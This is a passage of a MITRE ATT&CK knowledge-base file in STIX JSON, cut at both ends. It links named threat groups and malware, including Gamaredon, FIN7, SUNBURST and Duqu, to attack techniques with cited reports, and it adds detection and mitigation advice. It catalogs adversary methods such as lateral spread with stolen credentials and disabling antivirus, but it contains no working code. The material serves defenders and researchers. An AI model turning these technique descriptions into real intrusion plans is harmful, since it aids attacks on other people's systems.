Squirrelwaffle Oct 2021)","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bda1324a-9c51-4d91-bf21-39209633b985","type":"relationship","created":"2021-10-12T21:48:40.553Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne NobleBaron June 2021","url":"https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/","description":"Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021."}],"modified":"2021-10-12T21:48:40.553Z","description":"(Citation: SentinelOne NobleBaron June 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bda5489b-7735-4793-8816-fc2238f6957f","created":"2020-05-19T20:39:12.429Z","x_mitre_version":"1.0","external_references":[{"source_name":"CERT-EE Gamaredon January 2021","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022."},{"source_name":"TrendMicro Gamaredon April 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."},{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools can delete files used during an operation.(Citation: TrendMicro Gamaredon April 2020)(Citation: Symantec Shuckworm January 2022)(Citation: CERT-EE Gamaredon January 2021)","modified":"2022-04-15T11:55:41.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bda88270-ea65-44cd-b686-8219e8fde265","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T19:23:09.758Z","description":"Monitor for any attempts to enable scripts running on a system that would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bda95df4-bf1d-4a49-b847-cf4f3fd5f51c","created":"2021-11-22T17:54:11.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:17:07.175Z","description":"[HyperBro](https://attack.mitre.org/software/S0398) can be delivered encrypted to a compromised host.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--5e814485-012d-423d-b769-026bfed0f451","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdac1391-310e-4511-b272-b80924166723","type":"relationship","created":"2020-06-29T03:41:07.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."},{"source_name":"CISA ComRAT Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."}],"modified":"2020-12-09T23:26:09.548Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has used PowerShell to load itself every time a user logs in to the system. [ComRAT](https://attack.mitre.org/software/S0126) can execute PowerShell scripts loaded into memory or from the file system.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdacae3a-b211-4f88-87f5-7607bbd94be7","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor newly executed processes that may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdaf3340-0580-4e89-9cdc-e0af5a91ed85","type":"relationship","created":"2020-12-22T20:43:14.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike PIONEER KITTEN August 2020","url":"https://www.crowdstrike.com/blog/who-is-pioneer-kitten/","description":"Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020."},{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."},{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."}],"modified":"2020-12-29T20:23:05.374Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used protocol tunneling for communication and RDP activity on compromised hosts through the use of open source tools such as [ngrok](https://attack.mitre.org/software/S0508) and custom tool SSHMinion.(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bdafc5be-8887-4a16-993c-3e248373902b","created":"2024-02-12T19:19:40.934Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T19:19:40.934Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has used cmd.exe for execution on compromised systems.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdb0d192-3d82-4e5b-92bc-7ef24fd3e65b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-18T20:37:22.672Z","description":"[Pupy](https://attack.mitre.org/software/S0192) uses PowerView and Pywerview to perform discovery commands such as net user, net group, net local group, etc.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdb7f4c5-3620-479b-af38-95f42e82fb68","type":"relationship","created":"2019-09-13T13:21:50.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-10-07T15:16:12.002Z","description":"[Machete](https://attack.mitre.org/software/S0409) has sent data over HTTP if FTP failed, and has also used a fallback server.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdb9f6a6-7fe0-47e5-b708-3cb92360f6f9","type":"relationship","created":"2021-03-12T18:46:47.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T18:46:47.275Z","description":"[Sibot](https://attack.mitre.org/software/S0589) has executed downloaded DLLs with rundll32.exe.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdbd9cce-7d32-4e87-8036-3e602a3783b9","type":"relationship","created":"2019-10-11T17:29:20.306Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList Griffon May 2019","url":"https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/","description":"Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig “FIN7” continues its activities. Retrieved October 11, 2019."}],"modified":"2019-10-15T17:32:49.774Z","description":"[GRIFFON](https://attack.mitre.org/software/S0417) has used a persistence module that stores the implant inside the Registry, which executes at logon.(Citation: SecureList Griffon May 2019)","relationship_type":"uses","source_ref":"malware--04fc1842-f9e4-47cf-8cb8-5c61becad142","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdbeae2f-178a-40be-a9d4-14278f0036af","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bdc492d0-220c-4588-8361-a92dc79c4ba0","created":"2023-03-26T22:07:17.471Z","revoked":false,"external_references":[{"source_name":"CheckPoint Sunburst & Teardrop December 2020","description":"Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021.","url":"https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/"},{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"},{"source_name":"FireEye SUNBURST Additional Details Dec 2020","description":"Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html"},{"source_name":"SolarWinds Sunburst Sunspot Update January 2021","description":"Sudhakar Ramakrishna . (2021, January 11). New Findings From Our Investigation of SUNBURST. Retrieved January 13, 2021.","url":"https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/"},{"source_name":"Symantec Sunburst Sending Data January 2021","description":"Symantec Threat Hunter Team. (2021, January 22). SolarWinds: How Sunburst Sends Data Back to the Attackers. Retrieved January 22, 2021.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-sending-data"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T22:07:17.471Z","description":"(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)(Citation: Symantec Sunburst Sending Data January 2021)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Additional Details Dec 2020)(Citation: CheckPoint Sunburst & Teardrop December 2020)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bdc99461-1e2b-4fba-bf39-a5e17f7d3384","created":"2024-08-08T18:38:52.251Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-08T18:38:52.251Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) can disable critical services and processes.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdd64378-e348-4156-8490-528392c6ea82","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-20T16:46:50.644Z","description":"[CallMe](https://attack.mitre.org/software/S0077) has the capability to download a file to the victim from the C2 server.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--cb7bcf6f-085f-41db-81ee-4b68481661b5","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdd7c955-c41a-4b68-9eb6-1ecd66869457","type":"relationship","created":"2020-05-15T15:04:34.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:35:41.391Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) has used Windows API functions to install the service and shim.(Citation: FOX-IT May 2016 Mofang)\t","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdd9a384-2d57-4238-bddd-5500e667d620","type":"relationship","created":"2019-06-13T19:12:07.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2021-02-09T14:07:11.297Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used [PowerShell](https://attack.mitre.org/techniques/T1059/001) to decode base64-encoded assembly.(Citation: Morphisec ShellTea June 2019)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdda772c-0497-4d4a-9a18-29e5d848b276","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation","source_ref":"x-mitre-data-component--f5a9a1dd-82f9-41a3-85b8-13e5b9cd6c79","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bddcd118-8a69-450e-b680-c5d52d5098f4","type":"relationship","created":"2020-10-20T03:26:11.192Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:33:02.568Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bdde6ad0-b6eb-4e3a-80e4-8a9db6a9570d","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyZBot](https://attack.mitre.org/software/S0004) can disable Avira anti-virus.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bde512f7-afbb-4fe5-8df7-53a00bdadc79","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"}],"modified":"2019-06-30T23:13:18.469Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) created new Windows services and added them to the startup directories for persistence.(Citation: FireEye FIN7 Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bde913a9-9895-4414-b79a-3156159033aa","type":"relationship","created":"2017-05-31T21:33:27.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T15:08:59.845Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) is known to use 7Zip and RAR with passwords to encrypt data prior to exfiltration.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdee01a7-16cb-417e-8d9b-c98afd445bbc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2020-03-28T21:33:24.065Z","description":"Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bdf60e66-264d-45ec-bb67-b74fa04fe28e","created":"2020-01-30T16:18:37.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-16T17:40:58.698Z","description":"Enforce the principle of least-privilege. Do not allow a domain user to be in the local administrator group on multiple systems.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bdf68d86-fce4-46ad-9421-afdaf14273fe","created":"2022-02-02T16:36:53.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"AADInternals 